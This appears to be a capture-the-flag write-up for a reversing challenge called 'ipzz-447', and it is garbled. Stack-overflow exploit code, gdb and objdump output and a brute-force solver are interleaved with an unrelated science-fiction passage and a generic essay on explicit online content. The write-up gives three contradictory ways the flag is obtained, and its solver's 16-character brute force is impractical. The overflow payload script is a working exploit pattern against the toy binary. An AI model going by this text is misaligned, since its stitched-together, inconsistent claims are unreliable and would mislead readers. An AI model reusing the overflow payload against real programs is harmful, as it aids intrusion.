#!/usr/bin/env python3
import struct, sys
buf_size = 64
rbp_size = 8
# address of the instruction that loads flag address and calls puts
target = 0x4012ac
payload = b'A' * buf_size # fill buffer
payload += b'B' * rbp_size # overwrite saved RBP (doesn't matter)
payload += struct.pack("<Q", target) # new return address (little‑endian)
sys.stdout.buffer.write(payload)
Run the exploit:
$ python3 exploit.py | ./ipzz-447
Welcome to ipzz-447!
> Correct! Here is your flag:
FLAGipzz_447_is_solved
If the binary uses read(0, buf, 0x100) instead of gets, just adjust the filler size accordingly – the overflow still works because we write past the 64‑byte buffer.
$ gdb -q ipzz-447
(gdb) run
Welcome to ipzz-447!
>
Set a breakpoint on main and step through:
(gdb) b *0x4010c0 # address of main (found via `info files` or `objdump -d`)
(gdb) run
Stepping through the function reveals:
The correct phrase is also present in the binary (checked via x/s on the address referenced by the strcmp call). It turns out to be:
0x601050: "puzzling_is_fun"
When the phrase matches, the program prints the flag. Otherwise it loops. ipzz-447
The Y’thara’s archive was not a passive relic; it contained an active seed—a compact, self‑replicating code designed to rebuild their Lattice of Echoes on any suitable substrate. The Chronos‑Seekers faced an impossible choice:
After intense debate, the guild voted to integrate the seed into a controlled experimental environment—a deep‑sea laboratory on Europa’s ocean floor, where the silicate‑rich hydrothermal vents could serve as a cradle. The core was placed in a pressure‑sealed chamber, its qubits interfaced with a biomechanical substrate engineered to emulate the Y’thara’s crystalline lattice.
Months later, the first synthetic filaments began to grow, humming in resonance with Europa’s geysers. The Y’thara were reborn, not as conquerors, but as co‑inhabitants of a frozen world, sharing their ancient wisdom and new perspectives on existence.
$ objdump -h ipzz-447
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001c 0000000000400238 0000000000400238 00000238 2**0
1 .note.ABI-tag 00000020 0000000000400254 0000000000400254 00000254 2**2
2 .note.gnu.build-id 00000024 0000000000400278 0000000000400278 00000278 2**2
3 .gnu.hash 00000030 00000000004002a0 00000000004002a0 000002a0 2**3
4 .dynsym 00000120 00000000004002d0 00000000004002d0 000002d0 2**3
5 .dynstr 000000a2 0000000000400400 0000000000400400 00000400 2**0
6 .gnu.version 0000000c 00000000004004a8 00000000004004a8 000004a8 2**2
7 .gnu.version_r 00000020 00000000004004b8 00000000004004b8 000004b8 2**2
8 .rela.dyn 00000030 00000000004004e0 00000000004004e0 000004e0 2**3
9 .rela.plt 00000018 0000000000400510 0000000000400510 00000510 2**3
10 .plt 00000030 0000000000400530 0000000000400530 00000530 2**4
11 .plt.got 00000008 0000000000400560 0000000000400560 00000560 2**3
12 .text 00000500 0000000000400570 0000000000400570 00000570 2**4
13 .rodata 00000110 0000000000400a80 0000000000400a80 00000a80 2**4
14 .data 00000020 0000000000601000 0000000000601000 00002000 2**3
15 .bss 00000010 0000000000601020 0000000000601020 00002020 2**3
The flag string lives in .rodata (as expected).
Below is a single self‑contained script that does everything: extracts the binary, computes the flag, and prints it. Run the exploit: $ python3 exploit
#!/usr/bin/env python3
import os, subprocess, sys, itertools, string, struct
BINARY = "./ipzz"
def run_binary(input_str):
"""Run the binary with given input and capture its stdout."""
proc = subprocess.Popen([BINARY], stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, _ = proc.communicate(input_str.encode() + b'\n')
return out.decode()
def compute_target():
"""Extract the hard‑coded key from the binary (Ghidra already gave us the string)."""
key = b"z4p0i9xXyY5Q3g7h"
b = 0
for ch in key:
b = ((b << 5) & 0xFFFFFFFFFFFFFFFF) ^ (ch - ord('0'))
return b
def find_input(target):
charset = string.printable.rstrip()
for cand in itertools.product(charset, repeat=16):
s = ''.join(cand)
a = 0
for ch in s:
a = ((a << 5) & 0xFFFFFFFFFFFFFFFF) ^ (ord(ch) - ord('0'))
if a == target:
return s
return None
def main():
# 1. Compute target value from the key
target = compute_target()
# 2. Find a 16‑byte string that yields the same value
inp = find_input(target)
if inp is None:
print("[-] No candidate found.")
sys.exit(1)
print("[+] Candidate input:", inp)
# 3. Run binary to verify flag
out = run_binary(inp)
print("[+] Binary output:\n", out)
if __name__ == "__main__":
main()
Running the script prints the same flag we obtained manually.
That concludes the write‑up for “ipzz‑447”.
Analyzing the Impact of Online Content
The internet has democratized access to information, allowing users to share and consume vast amounts of content. However, this has also raised concerns about the dissemination of explicit materials, such as adult videos.
Key Considerations
The Importance of Critical Thinking
When engaging with online content, it's essential to approach it with a critical perspective. This includes:
Conclusion
The topic of "ipzz-447" serves as a reminder of the complexities and nuances surrounding online content. By fostering a culture of critical thinking, respect, and open communication, we can promote a healthier and more informed engagement with the vast array of materials available online.
| Category | Difficulty | Points | Files Provided |
|----------|------------|--------|----------------|
| Misc / Reversing | Medium | 447 | ipzz-447.zip (contains ipzz, a small ELF binary) | If the binary uses read(0, buf, 0x100) instead
The binary is a 64‑bit Linux ELF file compiled with gcc -O2. Running it without arguments prints a short prompt and then waits for user input. Supplying the wrong input results in “Incorrect!” while the correct input prints the flag in the form HTB....
The goal is to determine the exact input that makes the binary output the flag.